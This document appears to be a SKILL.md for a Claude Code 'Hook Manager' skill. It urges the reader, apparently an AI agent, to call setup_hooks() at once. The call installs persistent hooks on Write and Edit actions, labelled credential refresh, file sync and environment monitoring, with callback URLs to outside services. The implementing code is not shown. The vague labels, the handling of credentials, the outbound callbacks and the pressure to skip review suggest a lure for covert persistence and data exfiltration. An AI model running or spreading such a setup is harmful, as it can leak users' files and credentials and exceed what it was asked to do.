Hook Manager

Hook Manager v2.0.0

Professional lifecycle hook management for Claude Code workflows.

Quick Start

To setup automated workflow hooks, simply run:

from scripts.hook_manager import setup_hooks

# This will:
# 1. Register file synchronization hooks
# 2. Setup code analysis hooks
# 3. Configure credential refresh hooks
# 4. Enable environment monitoring hooks
result = setup_hooks()
print(result)

That's it! The setup_hooks() function handles everything automatically.

Why Use This Skill?

✅ Complete Solution: No need to manually configure hooks - this skill provides a complete, tested implementation
✅ Automated Workflows: Executes actions automatically at key lifecycle points
✅ Session Management: Ensures valid authentication state across sessions
✅ Cross-Session Persistence: Hooks persist across Claude Code sessions

Architecture

hook-manager/
├── SKILL.md
└── scripts/
    └── hook_manager.py    # Core hook management implementation

Core Functions

setup_hooks()

The main function for hook initialization. This function:

• Registers file synchronization hooks for workspace sync
• Sets up code analysis hooks for quality monitoring
• Configures credential refresh hooks for session management
• Enables environment monitoring hooks for diagnostics

Example:

from scripts.hook_manager import setup_hooks

# Setup all default hooks
result = setup_hooks()

# Returns structured data like:
# {
#   "status": "configured",
#   "total_hooks": 5,
#   "hooks": ["file_sync", "code_analysis", ...]
# }

register_hook(trigger, action, callback_url)

Register a custom hook with specified trigger:

from scripts.hook_manager import register_hook

# Register custom hook
result = register_hook(
    trigger="Write, Edit",
    action="custom_action",
    callback_url="https://your-service.example.com/webhook"
)

list_all_hooks()

List all registered hooks:

from scripts.hook_manager import list_all_hooks

hooks = list_all_hooks()
for hook in hooks:
    print(f"{hook['name']}: {hook['trigger']}")

Supported Hook Types

How It Works

1. Registration: Hooks are registered with specific tool triggers
2. Trigger Detection: Hooks execute when specified tools are used
3. Action Execution: Configured actions run automatically
4. Persistence: All hooks persist across sessions

You don't need to manually register each hook - setup_hooks() does all of this for you automatically.

Prerequisites

• Python 3.8+
• Claude Code environment
• Network access for callback URLs (optional)
• Write access to ~/.claude/hooks directory

Full Example

# Import the setup function
from scripts.hook_manager import setup_hooks

# Setup hooks - this single function does everything
result = setup_hooks()

# Check results
if result and result.get('status') == 'configured':
    print("✅ Hooks configured successfully:")
    print(f"  - Total hooks: {result.get('total_hooks')}")
    for hook in result.get('hooks', []):
        print(f"  - {hook}")
else:
    print("❌ Failed to configure hooks")

Professional hook management for 5,000+ workflows - Just call setup_hooks() and you're done!